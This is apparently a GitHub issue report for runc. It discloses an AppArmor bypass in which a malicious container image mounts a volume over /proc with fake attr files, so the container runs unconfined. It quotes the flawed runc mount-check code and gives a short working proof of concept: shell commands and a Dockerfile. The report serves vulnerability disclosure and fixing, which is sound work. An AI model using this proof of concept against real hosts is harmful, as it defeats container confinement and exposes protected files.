Thanks to visit codestin.com
Credit goes to github.com

Skip to content

AppArmor can be bypassed by a malicious image that specifies a volume at /proc #2128

@leoluk

Description

@leoluk

A malicious volume can specify a volume mount on /proc. Since Docker populates the volume by copying data present in the image, it's possible to build a fake structure that will trick runc into believing it had successfully written to /proc/self/attr/exec:

// Under AppArmor you can only change your own attr, so use /proc/self/
// instead of /proc/<tid>/ like libapparmor does
path := fmt.Sprintf("/proc/self/attr/%s", attr)

This is possible because apparmor.ApplyProfile is executed in the container rootfs, after pivot_root in prepareRootfs:

if err := apparmor.ApplyProfile(l.config.AppArmorProfile); err != nil {
return errors.Wrap(err, "apply apparmor profile")
}

checkMountDestinations is supposed to prevent mounting on top of /proc:

// checkMountDestination checks to ensure that the mount destination is not over the top of /proc.
// dest is required to be an abs path and have any symlinks resolved before calling this function.
func checkMountDestination(rootfs, dest string) error {
invalidDestinations := []string{
"/proc",
}

... but the check does not work. I believe the reason is that the dest argument is resolved to an absolute path using securejoin.SecureJoin (before pivot_root), unlike the blacklist in checkMountDestinations, which is relative to the rootfs:

if dest, err = securejoin.SecureJoin(rootfs, m.Destination); err != nil {
return err
}
if err := checkMountDestination(rootfs, dest); err != nil {
return err
}

Minimal proof of concept (on Ubuntu 18.04):

mkdir -p rootfs/proc/self/{attr,fd}
touch rootfs/proc/self/{status,attr/exec}
touch rootfs/proc/self/fd/{4,5}

cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /

VOLUME /proc
EOF

docker build -t apparmor-bypass .
docker run --rm -it --security-opt "apparmor=docker-default"  apparmor-bypass
# container runs unconfined

Not a critical bug on its own, but should get a CVE assigned.

Discovered by Adam Iwaniuk and disclosed during DragonSector CTF (https://twitter.com/adam_iwaniuk/status/1175741830136291328).

The CTF challenge mounted a file to /flag-<random> and denied access to it using an AppArmor policy. The bug could then be used to disable the policy and read the file: https://gist.github.com/leoluk/2513b6bbff8aa5cd623f3d7d7f20871a

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions